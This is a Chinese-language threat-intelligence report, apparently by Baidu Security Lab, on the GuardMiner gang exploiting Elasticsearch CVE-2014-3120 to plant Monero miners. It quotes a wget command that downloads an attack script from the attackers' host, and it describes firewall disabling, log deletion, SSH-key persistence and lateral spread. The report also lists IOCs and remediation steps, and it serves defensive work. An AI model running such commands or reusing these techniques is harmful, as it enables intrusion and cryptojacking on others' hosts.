黑客团伙GuardMiner的挖矿之路

黑客团伙GuardMiner的挖矿之路

0x00背景

百度安全智云盾系统多次检测到黑客团伙GuardMiner利用ElasticSearch远程命令执行漏洞(CVE-2014-3120)入侵云上主机进行门罗币挖矿,根据智云盾威胁情报中心检测的数据显示,针对云上主机的恶意挖矿行为呈现上升趋势,最常见的挖矿币种就是门罗币。

黑客热衷于利用云上主机实施门罗币挖矿,一方面是巨大的利益驱使。自2020年5月以来,门罗币价格不断上涨,虽然21年上半年有过下跌,但是整体仍然呈现出上涨趋势。下图展示了门罗币的价格走势。

图1 门罗币价格趋势(数据来源:coinmarketcap.com)

另一方面,门罗币有环状交易结构,导致不可追查,它采用的CryptoNight算法,针对CPU架构进行优化,所需要的运算资源从GPU转向了CPU,所以黑客热衷于利用以CPU为主的云主机挖矿,门罗币也成为了挖矿团伙钟爱的目标。

0x01漏洞攻击

1)程序分析

挖矿团伙GuardMiner通过下载的networkmanager来进行漏洞攻击,该模块底层使用go语言编写,并且使用UPX加壳。还原函数名后发现,攻击者总共使用60多种漏洞进行入侵服务器。下图展示了networkmanager模块内置的部分漏洞攻击脚本。

图2 可被利用的漏洞函数名(部分)

经过统计分析,我们将所有漏洞攻击脚本分为了9大类60小类,下表展示了挖矿团伙GuardMiner此次利用的漏洞库。

表1 漏洞库

漏洞类型数目
WebLogic远程命令执行漏洞6
Hadoop未授权访问漏洞4
Drupal漏洞8
Thinkphp V5漏洞13
Spring 远程命令执行漏洞5
SQL Server漏洞7
Elasticsearch远程命令执行漏洞6
Redis未授权访问漏洞5
CCTV设备漏洞6

2)漏洞利用

黑客团伙此次使用了ElasticSearch远程命令执行漏洞发起的攻击,该漏洞是黑客利用ElasticSearch 1.2版本使用的脚本引擎MVEL存在的安全问题:不进行任何脚本安全性校验,导致可以执行客户端发送的任意代码。该配置默认是打开的,黑客能够利用这一漏洞,向ElasticSearch的_search?pretty页面发送http请求,请求中包含了可以自动执行恶意

的java代码,代码里包含攻击者构造的恶意命令。此次攻击者使用的命令是下载攻击脚本,命令为:wget http://helpdeskserver.epelcdn.com/dd210131/init.sh -P /tmp/sssooo,下图展示了智云盾捕获的攻击载荷详情:

图3 攻击命令

0x02部署挖矿程序

1)配置环境

攻击者通过远程命令执行漏洞,促使云主机下载恶意shell脚本,该攻击脚本会首先在目标主机配置挖矿所需要的各种环境。先后包括以下几个步骤:

1. 首先关闭防火墙,清理缓存,获取crontab目录和SSH公钥认证文件,将常用的下载工具curl、url、cur、cdl、wget、wdl等等修改为url、cdt、wdt,并且设置linux系统能打开的最大文件数,随后删除系统日志,并且设置tmp目录无法被删除,然后关闭ufw和iptables。

图4 配置环境

2.从公共的比特币交易记录中获取C2地址,设置挖矿程序、持久化脚本、扫描程序的地址、备份地址与最大值;并为挖矿程序,设置最大内存分页数。

图5 配置环境

3.根据挖矿程序的常用端口、进程名、矿池名、地址、钱包地址,杀掉不属于自己的挖矿程序,杀掉tmp目录下的程序,杀掉不属于自己的挖矿容器;这些命令只有一个目的,为了给挖矿程序提供最大的CPU运算资源。

图6 配置环境

2)部署程序

在配置完系统环境后,脚本开始依次下载挖矿程序、守护程序和扫描脚本,在这个过程中会进行自动检查,确保挖矿程序的正常运行。

图7 部署程序

3)加固程序

攻击者部署完挖矿程序后,为了确保程序的稳定运行,分别进行了多种方法确保攻击程序的正常运行。

1.攻击者设置定时任务(每30分钟)定时执行newdat脚本,脚本会检查挖矿程序是否存在,否则则自动安装。

图8 攻击加固

2.通过phpguard程序,确保挖矿进程持续运行。phpguard程序根据名称遍历检查当前主机上挖矿程序是否正常运行,如果没有则重新重启。

3.将公钥写入SSH的authorized_keys文件,配置免密码登录。

图9 攻击加固

0x03横向感染

攻击者利用漏洞进行挖矿程序部署后,会通过多种方式进行横向攻击传播,感染此类木马。感染方式如下:

1.通过查询SSH的known_host,检查是否存在可以免密登录的机器,进而登录连接。

图10 横向感染

2.定向扫描常见应用端口是否存在漏洞,进而实施攻击。

3.通过尝试redis空口令和多个弱口令的方式入侵。

图11 横向感染

0x04矿池分析及统计

1)矿池分析

我们通过查询配置文件:http://h.epelcdn.com/dd210131/config.json,获取到矿池地址列表与钱包地址,这些矿池累计挖出约216.33个门罗币,价值约38.8w人民币(2021年6月10日,门罗币价格1794.24元,合计约38.8w人民币),算力为283.8+840=1123.8H/S,大约是皮皮虾矿池的千分之一。从算力上看,这种广撒网的方式,也能有一定的规模。其中矿池minexmr现在还没有矿工参与计算。下表展示了此次挖矿木马使用的矿池地址与钱包地址。

表2 挖矿数据统计

矿池地址&端口产量挖矿速度(H/S)最早时间
xmr.f2pool.com:13531215.33279131283.802019-04-28
xmr-eu2.nanopool.org:144441.000075840.002020-08-18
sg.minexmr.com:5555---

2)对应的钱包地址

43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR

43zqYTWj1JG1H1idZFQWwJZLTos3hbJ5iR3tJpEtwEi43UBbzPeaQxCRysdjYTtdc8aHao7csiWa5BTP9PfNYzyfSbbrwoR

3HVQkSGfvyyQ8ACpShBhegoKGLuTCMCiAr

3)IOC信息

表3 攻击IP

IP地理位置
175.102.179.84中国-北京
221.176.156.164中国-河南-开封
132.145.186.243美国-弗吉尼亚州-阿什本

0x05修复建议

如果云主机不幸感染了此类木马,建议采用以下方式进行修复。

1)删除系统的恶意定时任务,rm -rf  /etc/newdat.sh

2)删除ssh的authorized_keys中的恶意公钥

3)查看并杀掉恶意进程:phpguard、networkmanager、phpupdate

4)恢复防火墙的默认配置

5)删除主机上的恶意文件

黑客团伙不仅能够利用控制的服务器进行挖矿,还能够执行DDoS攻击,如果感染的服务器包含企业重要业务数据,黑客还可以运行勒索病毒,达到勒索赎金的目的。总之,云上用户应当防微杜渐,事先做好攻击预防工作。

本文作者:百度安全实验室,来自FreeBuf.COM

发布时间:2021-07-01 09:38:19

修改时间:2021-07-01 09:38:19

查看次数:127

评论次数:0